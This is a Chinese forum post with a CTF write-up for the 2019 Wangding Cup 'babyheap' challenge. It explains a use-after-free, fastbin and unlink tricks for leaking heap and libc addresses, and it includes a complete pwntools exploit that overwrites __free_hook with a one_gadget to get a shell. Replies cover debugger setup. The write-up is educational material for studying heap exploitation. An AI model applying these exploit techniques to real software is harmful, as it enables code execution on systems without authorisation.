吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6274|回复: 5
收起左侧

[漏洞分析] 2019年 网鼎杯babyheap 题解(堆漏洞的综合利用)

[复制链接]
nigacat 发表于 2020-3-31 21:20
本帖最后由 nigacat 于 2020-4-3 21:57 编辑

正在备战网鼎杯,做了一下去年第一场的pwn,babyheap这题
没有特别难,但是涉及到fastbin_attack  UAF  unlink的利用 综合性较强,比较考验堆漏洞基础
调试环境:
vm 虚拟机 ubuntu16.04

gdb-peda(我习惯用peda pwndbg也可以)
IDA pro 7.0
python pwntools

babyheap.rar (2.46 KB, 下载次数: 8)

由于是本地调试 所以就不给出libc了,我用的是ubuntu16.04自带的libc-2.23.so

检查下程序的安全性(checksec easyheap)

checksec

checksec

下面解释一下安全机制

Arch:     amd64-64-little
    RELRO:    Full RELRO   #got表保护开启,没有got写权限
    Stack:    Canary found #canary保护开启(常用于防止栈溢出)
    NX:       NX enabled #堆栈不可执行保护开启(防止写入的shellcode执行)
    PIE:      No PIE (0x400000) # 地址随机化未开启 (代码段的地址随机化)
其中 got表写入保护开启,这一段说明。我们不能通过分配堆块 或者unlink写入等方法直接攻击got表(这也在一定程度上增大了难度)

ida分析(f5查看伪代码)
图片.png
比较常见的菜单选择,先分析 alloc()

alloc

alloc

申请的堆块大小是固定的malloc(0x20) 限制了申请堆块的大小,申请到的堆块地址统一放到一个全局数组里面,地址为0x602060
看一下edit()

edit

edit

读取输入时限定了大小为0x20所以不存在堆溢出漏洞(不能直接恶意篡改相邻堆块的fd bk指针)
看一下show()

show

show

输出方式为puts(ptr) 传入全局数组的指针
再看一下Free()

free

free

存在明显的UAF漏洞 ,free掉指针后并没有设置为NULL(free掉之后可以对堆块进行读写操作,这也意味着可以在free掉之后读取fd bk指针 也可以伪造fastbin链)
由于本题涉及到大量关于堆数据结构,堆分配,堆合并等相关基础知识,这里给出几个ctf pwn heap 的学习资料链接,在解题时以做对照
https://wiki.x10sec.org/pwn/heap/heap_implementation_details/   ctfwiki

大致解题思路
1.利用uaf泄漏堆地址
alloc(0)#
alloc(1)#
free(1) # topchunk->1

free(0) #topchunk->0->1
此时,chun0k的fd指向chunk1的起始地址
show(0)打印出chunk1的地址
heap_base=chunk1_addr-0x30 #一个堆块大小为0x30
图片.png

leak_heap_base

leak_heap_base


现在我们获取到了堆的基地址

2.伪造fastbin链修改堆块的size位,伪造一个unsorted bin ,free 后unsorted bin的fd会指向main_arena 再通过show()泄漏出libc基地址
(这一步其实就开始有点晕了,但是慢慢理解应该没问题,或许这就是pwn的魅力吧)
edit(0, p64(heap_base_addr + 0x20) + p64(0) + p64(0) + p64(0x31))# heap的 fd 指针指向heap+20 再次分配时会分配时会把chunk1的size位分配出
#pause()
alloc(6, p64(0) + p64(0xa1) + '\n')#chunk 0
#pause()
alloc(7, p64(0) + p64(0xa1) + '\n')#chunk 1
#pause()
批注 2020-04-03 214703.png
free(1)
批注 2020-04-03 214410.png

show(1)#leak_libc_addr
#<main_arena+88> addr-0x3cb20-88=addr-0x3c4b78
tips: main_arena计算方法
ida加载相应版本libc

图片.png
3. unlink 修改全局数组ptr的指针,改为free hook
直接附上exp因为unlink 是从第一部开始铺垫的
from pwn import *
context.log_level="debug"
p=process("./babyheap")
libc=("./libc-2.23.so")
onegadget=0x4526a
free_hook=0x3c67a8
malloc_hook=0x3c4b10
def alloc(index,content):
    p.recvuntil("Choice:")
    p.sendline("1")
    p.recvuntil("Index:")  
    p.sendline(str(index))
    p.recvuntil("Content:")
    p.send(str(content))

def edit(idx,content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil("Index:")
    p.sendline(str(idx))
    p.recvuntil("Content:")
    p.send(str(content))
   
def free(idx):
    p.recvuntil('Choice:')
    p.sendline('4')
    p.recvuntil("Index:")
    p.sendline(str(idx))  
   
def show(idx):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil("Index:")
    p.sendline(str(idx))   

alloc(0,"aaaaaaaa\n")#0x0
alloc(1,"bbbbbbbb\n")#0x30
alloc(2,"cccccccc\n")#0x60
alloc(3,"dddddddd\n")#0x90
#alloc(4,"eeeeeeee\n")#
#alloc(5,"ffffffff\n")
                #P=0x602080           #FD =0x602068          #BK=0x602070
alloc(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))#0xc0 #0xd0 from 0xd0 must be a fake chunk
# *(0x602080)=0x602070 fd->bk=BK   *(0x602080)=0x602068  bk->fd=FD
#target_addr=0x602080 its value has been changed twice 1:fd->bk=BK 2:bk->fd=FD
#check: BK->fd==P && FD->bk==P
#       0x602070+0x10=P 0x602068+0x18=P check pass
alloc(5, p64(0x30) + p64(0x30) + '\n')#0xf0 0x100 must be a fake chunk
#pause()
free(1)#top_chunk ->1
free(0)#top_chunk ->0->1
#chunk0_fd->chunk1
#pause()
show(0)# leak heap_addr(chunk1_addr)
heap_addr=u32(p.recv(4))
heap_base_addr=heap_addr-0x30
print hex(heap_base_addr)
#pause()
edit(0, p64(heap_base_addr + 0x20) + p64(0) + p64(0) + p64(0x31))
#pause()
alloc(6, p64(0) + p64(0xa1) + '\n')#chunk 0
#pause()
alloc(7, p64(0) + p64(0xa1) + '\n')#chunk 1
#pause()
free(1)
show(1)#leak_libc_addr
#<main_arena+88> addr-0x3cb20-88=addr-0x3c4b78
libc_base = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
print hex(libc_base)
pause()
edit(4,p64(libc_base + 0x3c67a8) + '\n')#free_hook
#pause()
图片.png
#堆块1的指针指向free_hook
#下一步直接修改free_hook地址为one_gadget即可

edit(1, p64(libc_base + onegadget)[:-1] + '\n')#
free(1)
p.interactive()
批注 2020-04-03 215509.png

大功告成,这个题还是挺复杂的。

感觉堆的基础知识还是不够得去补一补


免费评分

参与人数 2吾爱币 +4 热心值 +2 收起 理由
ls0928 + 1 + 1 热心回复!
pwp + 3 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| nigacat 发表于 2020-4-3 21:32
李浦华 发表于 2020-4-3 21:28
师傅,为什么我的peda不能使用parseheap这个命令呢,显示没有这个命令

得安装一下pwngdb 然后配置 .gdbinit
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end
Hmily 发表于 2020-4-3 19:46
图片不能直接粘贴,上传后贴到正文中,代码用代码框处理一下吧。
 楼主| nigacat 发表于 2020-4-3 21:30
Hmily 发表于 2020-4-3 19:46
图片不能直接粘贴,上传后贴到正文中,代码用代码框处理一下吧。

好的 我去改一下 菜鸡刚刚学会发文章 还不大熟悉

点评

贴图看这个https://www.52pojie.cn/misc.php?mod=faq&action=faq&id=29&messageid=36  详情 回复 发表于 2020-4-3 21:44
Hmily 发表于 2020-4-3 21:44
nigacat 发表于 2020-4-3 21:30
好的 我去改一下 菜鸡刚刚学会发文章 还不大熟悉

贴图看这个https://www.52pojie.cn/misc.php? ... 29&messageid=36
Coffee_Lake 发表于 2022-8-1 21:16
今年的网鼎杯HVV结束后也开始了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-29 09:01

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表